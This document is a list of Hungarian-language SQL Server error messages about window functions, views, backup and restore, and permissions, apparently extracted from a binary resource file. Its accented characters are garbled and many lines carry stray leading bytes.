Nem engedlyezett a tvoli tblba vagy nzetbe trtnQ beszrs a BCP segdprogram, illetve a BULK INSERT utasts segtsgvel.

Ablakban fut fggvnyek csak SELECT vagy ORDER BY zradkban szerepelhetnek.

Ablakban fut fggvnyek nem hasznlhatk msik ablakban fut fggvny vagy sszests krnyezetben.

A(z)  %1!s!  argumentumtpus nem rvnyes a(z) %2!s! ( %3!s! ) argumentum esetben.

A CREATE SCHEMA utasts utn nvnek vagy hitelestsi kulcsnak kell kvetkeznie.

A(z)  %1!s!  fggvnynek rendelkeznie kell egy OVER zradkkal az ORDER BY zradk hasznlatakor.

A(z)  %1!s!  fggvny nem rvnyes ablakoz fggvny, ezrt nem hasznlhat az OVER zradkkal.

A(z)  %1!s!  fggvny pontosan %2!s! argumentumot hasznl.

A(z)  %1!s!  oszlopra mutat hivatkozs nem engedlyezett egy TOP, OFFSET vagy FETCH zradk argumentumban. Itt csak egy klsQ hatkrben tallhat oszlopokra, illetve nll kifejezsekre s segdlekrdezsekre mutat hivatkozsok hasznlata engedlyezett.

Az  ntile  fggvny kizrlag pozitv  int  vagy  bigint  kifejezst fogad el bemenetknt.

Nem olvashatk be a tblabeli adatok a lekrdezsi mqvelethez, mert a kvetkezQ tbla smjt tl gyakran mdostjk:  %1!s! . A(z)  %2!s!  tbla szmtott oszlopot tartalmaz, ezrt a tblasma megvltoztatsa a tbla sszes adatnak frisstst ignyli. Prblja jbl vgrehajtani a lekrdezsi mqveletet, s ha a problma tartsan fennll, akkor az SQL Server Profiler hasznlatval azonostsa, hogy milyen smamdost mqveletek trtnnek.

rvnytelen kifejezs van megadva a FOR UPDATE zradkban.

Nem rendelhetQ alaprtelmezett rtk CLR-beli tpus oszlopok tulajdonsgbelltjhoz.

Felhasznl ltal definilt fggvnynevet nem lehet adatbzisnvbQl szrmaz elQtaggal elltni ebben a krnyezetben.

Vagy a(z)  %1!s!  oszlop, vagy a(z)  %2!s!  felhasznli fggvny, illetve sszests nem tallhat, vagy a nv nem egyrtelmq.

Nem engedlyezett tvoli tbla rtkq fggvnyhvsok hasznlata.

hA kteghez megadott paramterek nem rvnyesek.

lNem tallhat teljes szveges indexelsq oszlop.

A COALESCE legalbb egy argumentumnak kifejezsnek kell lennie, amely nem a NULL lland.

lBelsQ hiba trtnt tvoli lekrdezs vgrehajtsa kzben. Lpjen kapcsolatba SQL Server termktmogatsi szakrtQvel, s tjkoztassa a futtatni kvnt lekrdezs rszleteirQl.

(A(z)  %1!s!  begyazott fggvny nem fogadhat sszetartoz paramtereket, illetve segdlekrdezseket, mert teljes szveges opertort hasznl.

lIsmtlQdQ mutat van megadva a BULK sorhalmazhoz.

Egy fordtsi idejq szvegkonstans rtk tbbszr van megadva a(z)  %1!s!  vltozhoz legalbb egy OPTIMIZE FOR zradkban.

Az OPTIMIZE FOR zradkban szereplQ  %1!s!  vltozhoz megadott rtket nem lehet implicit mdon konvertlni az adott vltoz tpusra.

Csak skalris kifejezst lehet megadni a RETURN utasts argumentumaknt.

A lemezen a(z)  %2!s!  tbla  %1!s!  szmtott oszlopra vonatkozan trolt metaadatok nem egyeznek az oszlopdefincival. A lehetsges indexsrls elkerlse rdekben vesse el, majd jbl hozza ltre ezt a szmtott oszlopot.

4A(z)  %1!s!  szinonima van megadva a(z)  %2!s!  vrakozsi sorra vonatkozan. A vrakozsi sorokra vonatkoz szinonimk hasznlata nem engedlyezett.

A(z)  %1!s!  mutatt nem lehet a(z)  %2!s!  mutatval hasznlni.

Formtumfjlt nem lehet megadni a kvetkezQ belltsokkal egytt: SINGLE_BLOB, SINGLE_CLOB vagy SINGLE_NCLOB.

$tkzQ zrolsi mutatk vannak megadva a(z)  %1!s!  tblhoz. Ennek lehetsges oka, hogy tkzQ mutat van megadva valamelyik nzet esetben.

XNem lehet feldolgozni a lekrdezst, mert a kzs nyelvi futtatkrnyezet (CLR)  %1!s!  tblzat rtkq fggvnyre hivatkozik a(z)  %2!s!  nzetre irnyul mutatval.

A READCOMMITTEDLOCK zrolsi mutat hasznlata nem engedlyezett INSERT utasts cltbljn.

xA CLR-beli begyazott tpus frisstse nem tmogatott.

dNem szerepelhet sszests a RECEIVE listn.

A ktegelt openrowset szolgltat nem rvnyes cl a kvetkezQ esetben: %1!s!.

A(z)  %1!s!  mutat hasznlata nem engedlyezett tvoli tblba vgzett beszrsi mqvelet vgrehajtsa kzben.

Nem logikai tpus kifejezs van megadva olyan krnyezetben, ahol a rendszer felttel teljeslsre vrja, kzel a kvetkezQhz:  %1!s! .

hStatisztikt csak oszlopokrl lehet kszteni.

Az XML-metdusok hasznlata nem engedlyezett GROUP BY zradkban.

|Nem engedlyezett a rekurzv kzs tblakifejezs hivatkozsaira irnyul mutatk alkalmazsa. Ajnlott eltvoltani a mutatt a(z)  %1!s!  rekurzv kzs tblakifejezs hivatkozsbl.

A NULLIF elsQ argumentumnak tpusa nem lehet NULL lland, mert az elsQ argumentum tpusnak ismertnek kell lennie.

XA(z)  %1!s!  tpus nem CLR-beli tpus.

A(z)  %1!s!  adattpus nem kezelhetQ  %2!s!  adattpusknt.

Az UNNEST utasts csak  multiset  tpus kifejezst tartalmazhat.

A begyazott INSERT utasts SELECT listja csak egyetlen elemet tartalmazhat.

A begyazott beszrs, begyazott frissts, illetve a begyazott trls clja csak  multiset  tpus lehet.

|A(z)  %1!s!  nem rvnyes tulajdonsg, mezQ vagy metdus.

A(z)  %1!s!  mezQre egynl tbb hivatkozs mutat a megadott listrl (kzvetlenl vagy tulajdonsgon keresztl).

A ksleltetett, CLR-beli tpus pldnyok egyik argumentumnak helyi alaptbla-oszlopnak kell lennie.

Nem tallhat megfelelQ kulcs a(z)  %1!s!  tblban a CLR-beli tpusok ksleltetett beolvasshoz.

Csak CLR-beli tpusok engedlyezettek a CLR-beli tpusok ksleltetett beolvassa esetn.

Csak PROB_MATCH tbla hasznlhat PROB_MATCH lekrdezsen bell.

GROUP BY zradk hasznlata szksges egy PROB_MATCH lekrdezsben.

A PROB_MATCH lekrdezsben hasznlt GROUP BY zradkban csak kulcsoszlop szerepelhet, s az sszes kulcsoszlopot tartalmaznia kell.

Ha szerepel a segdlekrdezsek valamelyikben, akkor a pontszm-fellrsi argumentumnak szerepelnie kell az sszes segdlekrdezsben, s ugyanazt az llandt s vltozt kell tartalmaznia.

Xrvnytelen PROB_MATCH segdlekrdezs.

Tbb PROB_MATCH segdlekrdezs csak egyazon alaptblra hivatkozhat.

rvnytelen PROB_MATCH projektelem szerepel a PROB_MATCH SELECT listn.

Teljes szveges tulajdonsghivatkozsban nem engedlyezett a TREAT utasts tbbszri alkalmazsa egyazon kifejezsre.

Az (ANY) specifikci csak  multiset  tpus kifejezsekre alkalmazhat.

Nincs megadva aliasnv a PROB_MATCH SELECT listn szereplQ sszestsek egyikhez.

XTeljes szveges %1!s! hibs hasznlata.

dA(z)  %1!s!  nem rvnyes pontozfggvnynv.

CLR-beli tpus ksleltetett pldny-ltrehozsi rtklekrdezs csak nagy objektum vagy nagy rtk tpus oszlopra hivatkozhat.

Begyazott frissts nem hajthat vgre olyan CLR-beli tpusokon, amelyek nem Format.Structured formtumak.

Tl sok paramter van megadva a  Simple  (egyszerq) tpus FULLTEXTTABLE utastshoz. A paramterek maximlis szma %1!s!.

A PROB_MATCH lekrdezsek FROM zradknak egyetlen szrmaztatott tblbl kell llnia.

Nem olvashatk be a tblabeli adatok a lekrdezsi mqvelethez, mert a kvetkezQ tbla smjt tl gyakran mdostjk:  %1!s! . A(z)  %2!s!  tbla szqrt indexet vagy szqrt statisztikkat tartalmaz, ezrt a tblasma megvltoztatsa a tbla sszes adatnak frisstst ignyli. Prblja jbl vgrehajtani a lekrdezsi mqveletet, s ha a problma tartsan fennll, akkor az SQL Server Profiler hasznlatval azonostsa, hogy milyen smamdost mqveletek trtnnek.	

xEzt a mqveletet nem lehet vgrehajtani rendszertpuson.

A(z)  %1!s!.%2!s!  oszlopra nem mutathat hivatkozs az OUTPUT zradkban, mert az oszlopdefinciban segdlekrdezs szerepel, illetve felhasznli vagy rendszeradat-hozzfrsi mqveletet vgrehajt fggvnyre hivatkozik. A rendszer alaprtelmezs szerint adathozzfrst vgrehajt tpusnak tekint, ha nincs smhoz ktve. Javasolt a segdlekrdezs, illetve a fggvny eltvoltsa az oszlopdefincibl, vagy az oszlop eltvoltsa az OUTPUT zradkbl.

A fogad vltoz %1!s! adattpusa nem kpes adatveszts nlkl trolni a(z)  %3!s!  oszlop sszes %2!s! adattpus rtkt.

A(z)  %1!s!  oszlop vagy paramter tpusa  %2!s! , rendezse pedig  %3!s! . Az rklt LOB-tpusok nem tmogatjk azokat a kiegsztQ Unicode-karaktereket, amelyek kdpontja U+10000 vagy nagyobb. Mdostsa az oszlop vagy a paramter tpust varchar(max) vagy nvarchar(max) tpusra, illetve hasznljon olyan rendezst, amelyhez nincs megadva az _SC jelzQ.

Nem hajthat vgre a szveg/ntext tpusra val talakts, illetve a(z)  %1!s!  szerinti rendezs, mert ezek az rklt LOB-tpusok nem tmogatjk azokat a kiegsztQ Unicode-karaktereket, amelyek kdpontja U+10000 vagy nagyobb. Hasznlja a varchar(max) vagy az nvarchar(max) tpust, illetve hasznljon olyan rendezst, amelyhez nincs megadva az _SC jelzQ.

A PIVOT opertor nem engedlyezett rekurzv kzs tblakifejezs ( %1!s! ) rekurzv rszben.

xA(z) %1!s! mqvelet rendezsi tkzse nem oldhat fel.

TA rendezsi tkzs nem oldhat fel.

A(z)  %1!s!  nem rvnyes ablakkeret, ezrt nem hasznlhat az OVER zradkkal.

A RANGE kulcssz hasznlata csak az UNBOUNDED s a CURRENT ROW ablakkeret-hatrolkkal tmogatott.

A(z)  %1!s!  oszlopra val hivatkozs nem engedlyezett az NTILE fggvny argumentumban. Itt csak klsQbb hatkrben levQ oszlopokra val hivatkozsok, illetve nll kifejezsek s allekrdezsek engedlyezettek.

$A(z)  %1!s!.%2!s!  oszlopra nem lehet hivatkozni az OUTPUT zradkban, mert az oszlopdefinci ablakfggvnyt hasznl kifejezst tartalmaz.

xBelsQ lekrdezsfordtsi hiba trtnt a kts sorn. 

LA BACKUP LOG utasts vgrehajtsa nem lehetsges, mert tmegesen naplzott vltoztatsok szerepelnek az adatbzisban, s legalbb egy fjlcsoport elrhetetlen. 

A(z) %1!s! utasts hasznlata nem engedlyezett a helyrelltsi modell SIMPLE belltsa miatt. Hasznlja a BACKUP DATABASE utastst, vagy mdostsa a helyrelltsi modellt az ALTER DATABASE utasts segtsgvel.

Nem lehet biztonsgi msolatot kszteni a fQadatbzis napljrl. Hasznlja helyette a BACKUP DATABASE utastst.

Nem lehet vgrehajtani BACKUP LOG utastst, mert nincs aktulis biztonsgi msolat adatbzispldny.

Tmegesen naplzott mqveletek tallhatk az adatbzisban. Hajtsa vgre a BACKUP LOG mqveletet.

(A(z)  %1!s!  paramter tkzst okoz az online visszallts folyamatval. Trlje az tkzst okoz paramtert, majd adja ki jra a parancsot.

|Az elQregrgets kezdQpontja jelenleg a(z) %1!s! naplsorszmnl (LSN) tallhat. A visszalltsi sorozat befejezshez tovbbi, a(z) %2!s! naplsorszmon tli elQregrgets szksges.

A jelen biztonsgimsolat-kszletben tallhat napl a(z) %1!s! naplsorszmmal kezdQdik, amely tl friss az adatbzisra trtnQ alkalmazshoz. Korbbi biztonsgi naplmsolat visszalltsa lehetsges, amelyben szerepel a(z) %2!s! naplsorszm.

A(z)  %1!s!  adatbzis online visszalltsa nem sikerlt. rdemes lehet helyette offline visszalltst vgrehajtani. Offline visszallts knyszertett vgrehajtshoz elQszr hozza az adatbzist offline llapotba az ALTER DATABASE utasts segtsgvel.

A(z)  %1!s!  fjl llapota megakadlyozza az nll oldalak visszalltst. Jelenleg csak fjlvisszalltsra van md.

A RESTORE PAGE utastst nem lehet hasznlni a(z)  %1!s!  fjl esetben, mert a fjl nincs online llapotban.

A RESTORE PAGE mqvelet nem engedlyezett az SQL Server rgebbi verzijval ksztett biztonsgi msolatok esetben.

TEzt a naplt nem lehet visszalltani, mert a naplzsi lncban szakads keletkezett. A szakads megszntetshez hasznljon fel frissebb biztonsgi adatmsolatokat.

A rendszer elQregrgette a(z)  %1!s!  fjlt a(z) %2!s! naplsorszmig. Ezen napl vgt a(z) %3!s! LSN-szm szerepel, amely tl rgi a WITH RECOVERY belltssal trtnQ alkalmazshoz. Adja ki jra a RESTORE LOG utastst WITH NORECOVERY paramterrel.

Egy korbbi visszalltsi mqvelet megszakadt, a(z)  %1!s!  fjl feldolgozsa nem fejezQdtt be. Vagy lltsa vissza a megszaktott biztonsgimsolat-kszletet, vagy indtsa jra a visszalltsi folyamatsort.

A(z)  %1!s!  teljes visszalltsa nem trtnt meg az adatbzis- vagy fjl-visszalltsi mqvelet sorn. Ezen biztonsgimsolat-kszlet alkalmazsa elQtt a teljes fjlt sikeresen vissza kell lltani.

ElQfordulhat, hogy egy korbbi RESTORE WITH CONTINUE_AFTER_ERROR mqvelet srlt llapotot eredmnyezett az adatbzisban. Ezen RESTORE mqveletsor folytatshoz minden tovbbi lpsben szerepelnie kell a CONTINUE_AFTER_ERROR paramternek.

Ebben a biztonsgimsolat-kszletben a napl a(z) %1!s! naplsorszmnl vget r, ez tl korai pont az adatbzison val alkalmazshoz. Visszallthat a napl egy jabb biztonsgi msolata, amely a(z) %2!s! naplsorszmot tartalmazza.

Az ebben a biztonsgimsolat-kszletben tallhat napl csoportosan naplzott vltoztatsokat tartalmaz. Az idQponthoz kttt helyrellts nem volt engedlyezett. Az adatbzist a rendszer tovbblltotta a napl vgig.

Hinyzik a(z)  %1!s!  fjl. A tovbbllts a(z) %2!s! naplsorszmnl ll meg. A fjl a(z) %3!s! naplsorszmnl jtt ltre, eldobsa a(z) %4!s! naplsorszmnl trtnt. lltsa vissza a tranzakcinaplt azon az idQponton tlra, amikor a fjl eldobsa trtnt, vagy lltsa vissza gy az adatokat, hogy azok konzisztensek legyenek az adatbzis tbbi rszvel.

Ez a biztonsgimsolat-kszlet nem alkalmazhat, mert az adatbzissal nem konzisztens a helyrelltsi elrsi t. A helyrelltsi elrsi t azt az adatsort s azokat a naplmsolatokat jelenti, amelyek az adatbzist egy adott helyrelltsi ponthoz eljuttattk. Keressen a helyrelltshoz egy kompatibilis biztonsgi msolatot, vagy lltsa vissza az adatbzis tbbi rszt gy, hogy egy ebben a biztonsgimsolat-kszletben tallhat helyrelltsi ponttal egyezzen, gy az adatbzist egy eltrQ idQponthoz lltja vissza. A helyrelltsi elrsi utakrl tovbbi tudnivalkat az SQL Server online knyvekben tall.

Az adatbzis nem llthat helyre, mert a fjlok nem egysges idQpontra vannak visszalltva.

(A RESTORE LOG mqvelet lellt. Az adatbzis aktulis llapotban trtnQ hasznlathoz futtassa a RESTORE DATABASE %1!s! WITH RECOVERY parancsot.

Az adatbzist nem lehet helyrelltani, mert a napl nincs helyrelltva.

xAz elnevezett jel nem azonost rvnyes naplsorszmot.

A megadott STOPAT idQpont tl korn van. Az adatbzis egszben vagy rszben mr tovbb van lltva ezen a ponton.

A(z)  %1!s!  fjlcsoport el van dobva, az online adatbzisban nem llthat helyre.

A(z)  %1!s!  fjl el van dobva, az online adatbzisban nem llthat helyre.

A STOPAT zradk olyan pontot ad meg, amely tl korn van ennek a biztonsgimsolat-kszletnek a visszalltshoz. Vlasszon msik lelltsi pontot, vagy a RESTORE DATABASE WITH RECOVERY mqvelettel vgezze el a helyrelltst az aktulis pontnl.

Ennek a RESTORE utastsnak az idQponthoz kttt zradka a RESTORE LOG utastsok ltali hasznlatra van korltozva. Hagyja ki a zradkot, vagy hasznljon idQblyeget tartalmaz zradkot.

Ez a naplmsolat csoportosan naplzott vltoztatsokat tartalmaz. Nem hasznlhat fel tetszQleges idQpontban val megllshoz.

Az idQponthoz kttt helyrellts csak akkor lehetsges, ha az elsQdleges fjlcsoport rsze a visszalltsi mqveletsornak. Hagyja ki az idQhz kttt zradkot, vagy lltsa vissza az elsQdleges fjlcsoportot.

Az adatbzis tovbb lett lltva ennek a biztonsgimsolat-kszletnek a vgre s a megadott idQponton tlra. A RESTORE WITH RECOVERY parancs hasznlatval elfogadhat az aktulis helyrelltsi pont.

RESTORE PAGE mqvelet nem engedlyezett csak olvashat adatbzisokon vagy fjlcsoportokon.

A RESTORE PAGE mqvelet nem engedlyezett az egyszerq helyrelltsi modellt hasznl adatbzisoknl.

Az aktulis visszalltsi mqveletsor korbban az online llapotba val tlls kzben meg lett szaktva. A RESTORE DATABASE WITH RECOVERY mqvelet hasznlatval befejezhetQ az online llapotra llts.

A(z)  %1!s!  adatbzis online visszalltsa sikertelen volt. Clszerq lehet inkbb kapcsolat nlkli visszalltst vgezni. A BACKUP LOG WITH NORECOVERY mqvelet hasznlatval kapcsolat nlkli visszallts kezdemnyezhetQ.

Ebben a biztonsgimsolat-kszletben a napl a(z) %1!s! naplsorszmnl kezdQdik, ez tl j pont az adatbzison val alkalmazshoz. Ennek a visszalltsi mqveletsornak a naplt gy kell inicializlnia, hogy a(z) %2!s! naplsorszmnl kezdQdjn. Adja ki jra a RESTORE LOG utastst a napl egy korbbi biztonsgi msolatnak hasznlatval.

A RESTORE PAGE utastshoz megadott laplista nem megfelelQen van formzva. A problma elQtt %1!s! lapot sikerlt helyesen azonostani. A problma a(z) %2!s! karaktereltolsnl jelentkezett. EllenQrizze, hogy az sszes lapot numerikus <fjl>:<lap> prok azonostjk az egyes prokat kzttk ll vesszQvel elvlasztva. Pldul: PAGE='1:57,2:31'.

Az SQL Server rendszer korbbi verzival ksztett biztonsgi msolatokat az fn_dump_dblog eszkz nem tmogatja.

A RESTORE LOG utastst ez a biztonsgi msolat nem tmogatja, mert a(z)  %1!s!  fjl tl rgi. A visszalltsi mqveletsor folytatshoz hasznljon a naplrl kszlt norml biztonsgi msolatot.

PA kvetkezQ fjlhoz egymsnak ellentmond fjlthelyezsek vannak megadva:  %1!s! . Brmelyik logikai fjlnvhez csak egyetlen WITH MOVE zradkot szabad megadni.

HHelytelenl van megadva a visszaalaktsi parancs. A RESTORE utastsnak a kvetkezQ formjnak kell lennie: RESTORE DATABASE <x> FROM DATABASE_SNAPSHOT = <y>.

$A visszalltsi folyamat, mert vannak olyan vltozsok, amelyek a napl biztonsgi msolatt ignylik, nem tudja kapcsolat nlkli mdba lltani a kvetkezQt:  %1!s! . Vlassza a napl egyik biztonsgi msolatt, s prblja meg jbl a RESTORE utasts hasznlatt.

hAz adatbzis nem hozhat online llapotba, mert a(z)  %1!s!  fjl jelenleg visszallts alatt ll a(z) %2!s! naplsorszmra, de a(z) %3!s! naplsorszmra kell visszalltani.

A STOPAT kapcsol ennl a rszletes visszalltsi mqveletsornl nem hasznlhat, mert nem szerepel benne egy vagy tbb FILESTREAM-fjlcsoport. A CONTINUE_AFTER_ERROR kapcsol csak a helyrellts knyszertett vgrehajtsra hasznlhat, ezt azonban csak akkor szabad hasznlni, ha a ksQbbiekben nem kvnja visszalltani a FILESTREAM-fjlcsoportokat.

A RESTORE LOG WITH CONTINUE_AFTER_ERROR mqvelet sikertelen volt. A RESTORE parancs vgrehajtsa megszakadt.

LA(z)  %1!s!  nzet vagy fggvny nem frissthetQ, mert aggregtumokat, illetve DISTINCT vagy GROUP BY zradkot, illetve PIVOT vagy UNPIVOT opertort tartalmaz.

A(z)  %1!s!  nzet vagy fggvny nem frissthetQ, mert a mdosts tbb alaptblt rint.

A(z)  %1!s!  nzet vagy fggvny frisstse vagy beszrsa sikertelen volt, mert szrmaztatott vagy lland mezQt tartalmaz.

lTl sok tbla. A lekrdezs s a benne szereplQ nzetek vagy fggvnyek meghaladjk a(z) %1!s! tbla rtkq korltot. A lekrdezs fellvizsglatval cskkentse a tblk szmt.

A(z)  %1!s!  nzet vagy fggvny ktsi hibk miatt nem hasznlhat.

<Nem sikerlt kiegsztQ tblt foglalni a nzet vagy fggvny feloldshoz. A tblk szma meghaladja egy lekrdezsben engedlyezett maximumot (%1!s!).

A(z)  %1!s!  nzet nem frissthetQ, mert vagy a WITH CHECK OPTION belltssal hoztk ltre, vagy a WITH CHECK OPTION belltssal ltrehozott nzetre terjed ki, s a cloldali tblra tbbszr is hivatkozik a ltrejvQ lekrdezs.

A UNION ALL  %1!s!  nzet nem frissthetQ, mert a definci nem engedlyezett szerkezetet tartalmaz.

A(z)  %1!s!  szrmaztatott tbla nem frissthetQ, mert a definci UNION opertort tartalmaz.

LA(z)  %1!s!  szrmaztatott tbla nem frissthetQ, mert aggregtumokat, illetve DISTINCT vagy GROUP BY zradkot, illetve PIVOT vagy UNPIVOT opertort tartalmaz.

A(z)  %1!s!  szrmaztatott tbla nem frissthetQ, mert a mdosts tbb alaptblt rint.

A(z)  %1!s!  szrmaztatott tbla nem frissthetQ, mert a szrmaztatott tbla egyik oszlopa szrmaztatott vagy konstans.

A(z)  %1!s!  nzethez INSTEAD OF UPDATE esemnyindt tartozik, s nem lehet UPDATE FROM utasts clja.

A(z)  %1!s!  nzethez INSTEAD OF DELETE esemnyindt tartozik, s nem lehet DELETE FROM utasts clja.

$KlsQ illesztst tartalmaz lekrdezsben illesztett tblk nem adhatk meg. A(z)  %1!s!  nzet vagy fggvny illesztett tblkat tartalmaz.

XIllesztett tblkat tartalmaz lekrdezsben nem lehet klsQ illesztsi opertorokat megadni. A(z)  %1!s!  nzet vagy fggvny klsQ illesztsi opertorokat tartalmaz.

A(z)  %1!s!  nzet nem frissthetQ, mert a definci UNION opertort tartalmaz.

A(z)  %1!s!  nzet nem frissthetQ, mert maga a nzet vagy egy ltala hivatkozott nzet a WITH CHECK OPTION belltssal lett ltrehozva, s a defincija tartalmaz egy TOP vagy OFFSET zradkot.

XA(z)  %1!s!  nzet vagy fggvny nmagra mutat hivatkozst tartalmaz. A nzetek vagy fggvnyek sem kzvetlen, sem kzvetett mdon nem hivatkozhatnak sajt magukra.

A(z)  %1!s!  particionlt nzet nem frissthetQ, mert a(z)  %2!s!  tblhoz idQblyegoszlop tartozik.

A(z)  %1!s!  particionlt nzet nem frissthetQ, mert a(z)  %2!s!  tblhoz DEFAULT megkts tartozik.

A(z)  %1!s!  particionlt nzetben nem hasznlhat INSERT parancs, mert a(z)  %2!s!  tblhoz IDENTITY megkts tartozik.

A(z)  %1!s!  particionlt nzet nem frissthetQ, mert a(z)  %2!s!  tblhoz INSTEAD OF esemnyindt tartozik.

A(z)  %1!s!  particionlt nzet nem frissthetQ, mert nincs rtk megadva a(z)  %2!s!  particionlsi oszlophoz.

A UNION ALL  %1!s!  nzet nem frissthetQ, mert nem tallhat particionlsi oszlop.

A(z)  %1!s!  szrmaztatott tbla nem frissthetQ, mert csoportos mqvelet clja.

A(z)  %1!s!  particionlt nzet nem frissthetQ, mert nem biztostja a tagtblk sszes oszlopt.

$A(z)  %1!s!  particionlt nzet nem frissthetQ, mert a forrslekrdezs a(z)  %2!s!  particionlsi tblra mutat hivatkozsokat tartalmaz.

A(z)  %1!s!  UNION ALL nzet nem frissthetQ, mert a(z)  %2!s!  tbln nem tallhat elsQdleges kulcs.

A(z)  %1!s!  particionlt nzet nem frissthetQ, mert a(z)  %2!s!  tbln egy szmtott oszlophoz index tartozik.

A(z)  %1!s!  UNION ALL nzet nem frissthetQ, mert tbb alkalommal van hasznlva a(z)  %2!s!  alaptbla.

A(z)  %1!s!  UNION ALL nzet nem frissthetQ, mert tbb alkalommal van hasznlva a(z)  %3!s!  alaptbla  %2!s!  oszlopa.

A(z)  %1!s!  UNION ALL nzet nem frissthetQ, mert a(z)  %2!s!  tbla elsQdleges kulcsa nem szerepel az uni eredmnyben.

0A(z)  %1!s!  UNION ALL nzet nem frissthetQ, mert a(z)  %2!s!  tbla elsQdleges kulcsa nem szerepel az elQzQ tblk elsQdleges kulcsaival uniban.

A(z)  %1!s!  UNION ALL nzet nem frissthetQ, mert a(z)  %3!s!  nzet  %2!s!  oszlopnak defincijt egy msik oszlop hasznlja.

A(z)  %1!s!  nzet nem frissthetQ, mert a definci belltott opertort tartalmaz.

INSERT mqvelet nem hajthat vgre a(z)  %1!s!  particionlt nzetben, mert az rtkek nincsenek biztostva az sszes oszlophoz.

Belltott opertort tartalmaz nzetekben nem megengedett az alaprtelmezsek hasznlata.

4A(z)  %1!s!  particionlt nzet nem frissthetQ, mert a(z)  %3!s!  tblban tallhat  %2!s!  nzetoszlop defincijhoz IDENTITY megkts tartozik.

A tbb kiszolgln tallhat tblkra hivatkoz nzetek a jelen  %1!s!  SQL Server-pldny kiadsban nem frissthetQk. Az SQL Server klnbzQ kiadsai ltal nyjtott szolgltatsok tmogatsrl az online knyvekben olvashat bQvebben.

XA(z)  %2!s!  nzet  %1!s!  particionlsi oszlopn nem hajthat vgre UPDATE mqvelet, mert a(z)  %3!s!  tblhoz CASCADE DELETE vagy CASCADE UPDATE megkts tartozik.

PA(z)  %2!s!  nzet  %1!s!  particionlsi oszlopn nem hajthat vgre UPDATE mqvelet, mert a(z)  %3!s!  tblhoz INSERT, UPDATE vagy DELETE esemnyindt tartozik.

A(z)  %1!s!  particionlt nzet nem frissthetQ, mert tagtblinak particionlsi oszlopai nem egyezQ tpusak.

A(z)  %1!s!  particionlt nzet nem frissthetQ, mert tagtblinak egy vagy tbb nem particionlsi tblja nem egyezQ tpus.

8A particionlt nzet megksrelt beszrsa vagy frisstse sikertelen volt, mert a particionlsi oszlop rtke nem tartozik a partcik egyikhez sem.

A(z)  %1!s!  nzethez vagy fggvnyhez tbb oszlopnv tartozik, mint ahny oszlop definilva van.

A smhoz kttt  %2!s!  %1!s! ltrehozsa sikertelen volt, mert egy msik adatbzisban tallhat objektumra hivatkozik.

A(z)  %2!s!  %1!s! nem hozhat ltre, mert a(z)  %3!s!  CLR tpus nem ltezik a cloldali  %4!s!  adatbzisban.

A CREATE VIEW mqvelet sikertelen volt, mert a(z)  %2!s!  nzet  %1!s!  oszlopa meghaladja a maximlis szm %3!s! oszlopot.

\Az oszlopneveknek mindegyik nzetben vagy fggvnyben egyedinek kell lennik. A(z)  %1!s!  oszlopnv egynl tbbszr van megadva a(z)  %2!s!  nzetben vagy fggvnyben.

Az ideiglenes tblkon nem megengedettek a nzetek s fggvnyek. A  #  karakterrel kezdQdQ tblanevek ideiglenes tblkra utalnak.

A CREATE VIEW mqvelet nem hajthat vgre, mert WITH %1!s! paramter volt megadva, s a nzet nem frissthetQ.

A nzet vagy fggvny ltrehozsa sikertelen volt, mert nem volt oszlopnv megadva a(z) %1!s! oszlophoz.

A(z)  %2!s!  %1!s! esetben nem hajthat vgre smhoz kts, mert a(z)  %3!s!  nv a smaktshez rvnytelen. A neveknek ktrszes formtumban kell lennik, s objektum nem hivatkozhat sajt magra.

A(z)  %2!s!  %1!s! esetben nem vgezhet smhoz ktst. A(z)  %3!s!  nem smhoz kttt.

A CREATE FUNCTION mqvelet sikertelen volt, mert egy oszlopnv nem volt megadva a(z) %1!s! oszlophoz.

A CREATE FUNCTION mqvelet sikertelen volt, mert a(z)  %2!s!  fggvny  %1!s!  oszlopa meghaladja a maximlis %3!s! oszlopszmot.

A(z)  %1!s!  fggvny nem kthetQ smhoz, mert EXECUTE utastst tartalmaz.

A szolgltatsi vrakozs sor objektuma nem hasznlhat smhoz ktsi kifejezsekben. A(z)  %1!s!  szolgltatsi vrakozsi sor.

(A(z)  %3!s!  %2!s! esetben nem vgezhetQ %1!s! mqvelet a(z)  %4!s!  nzeten, mert ez a rendszer ltal optimalizlsi clbl ltrehozott nzet.

A(z)  %1!s!  nzeten nem tilthat le az index, mert ez a rendszer ltal optimalizlsi clbl ltrehozott nzet.

pA(z)  %1!s!  objektum nem hasznlhat smhoz ktsi kifejezsekben automatikus eldobsi objektumattribtumknt, mert ez a rendszer ltal optimalizlsi clbl ltrehozott nzet.

A(z)  %1!s!  nzet nem vltoztathat meg, mert ez a rendszer ltal optimalizlsi clbl ltrehozott nzet.

A(z)  %1!s!  nzeten nem hozhat ltre esemnyindt, mert ez a rendszer ltal optimalizlsi clbl ltrehozott nzet.

Csak a rendszergazdai szerepkrhz tartozk tudjk a CREATE DATABASE engedlyt megadni vagy visszavonni.

Nincs ilyen  %1!s!  felhasznl vagy csoport, vagy nem rendelkezik engedllyel.

A megadott vagy visszavont %1!s! jogosultsg nem kompatibilis az objektummal.

Engedlyeket csak az aktulis adatbzisban tallhat objektumokra vonatkozan lehet megadni vagy visszavonni.

A megadhat jogosultsgok visszavonshoz vagy elutastshoz adja meg a CASCADE kapcsolt.

hA megad fl nem rendelkezik GRANT engedllyel.

Hrvnytelen oszlopnv:  %1!s! 

Ez a mqvelet nem vgezhetQ el az erQforrs-adatbzisra vonatkozan.

Klnleges szerepkrknek nem adhatk engedlyek, illetve azok nem is vonhatk meg vagy tagadhatk meg tQlk.

Nincs engedlye a kvetkezQ hasznlatra az AS zradkban: %1!s!.

A CREATE DATABASE engedly csak a fQadatbzisban adhat meg.

<Egy megadsi/megtagadsi/visszavonsi utastsban szereplQ sszes engedlynek ugyanarra a hatkrre (pldul kiszolgl vagy adatbzis) kell vonatkoznia.

A kiszolgli hatkrben csak akkor adhatk engedlyek, ha a jelenlegi adatbzis a fQadatbzis.

A kiszolgli hatkrben csak bejelentkezsi azonostknak adhatk engedlyek.

Az ALL engedly mr elavult, s nem hasznlhat ehhez az entitsosztlyhoz.

Nem adhat engedly a rendszergazda, adatbzis-tulajdonos, entitstulajdonos, information_schema vagy rendszer szerepkrnek, illetve sajt magnak, s nem is tagadhat meg vagy vonhat meg ezektQl.

Nincs ilyen %1!s! kiszolgli tag, vagy nnek nincs megfelelQ engedlye.

Alkalmazsi szerepkrknek nem adhat engedly adatbzishoz val kapcsoldsra, illetve az nem is vonhat meg vagy tagadhat meg tQlk.

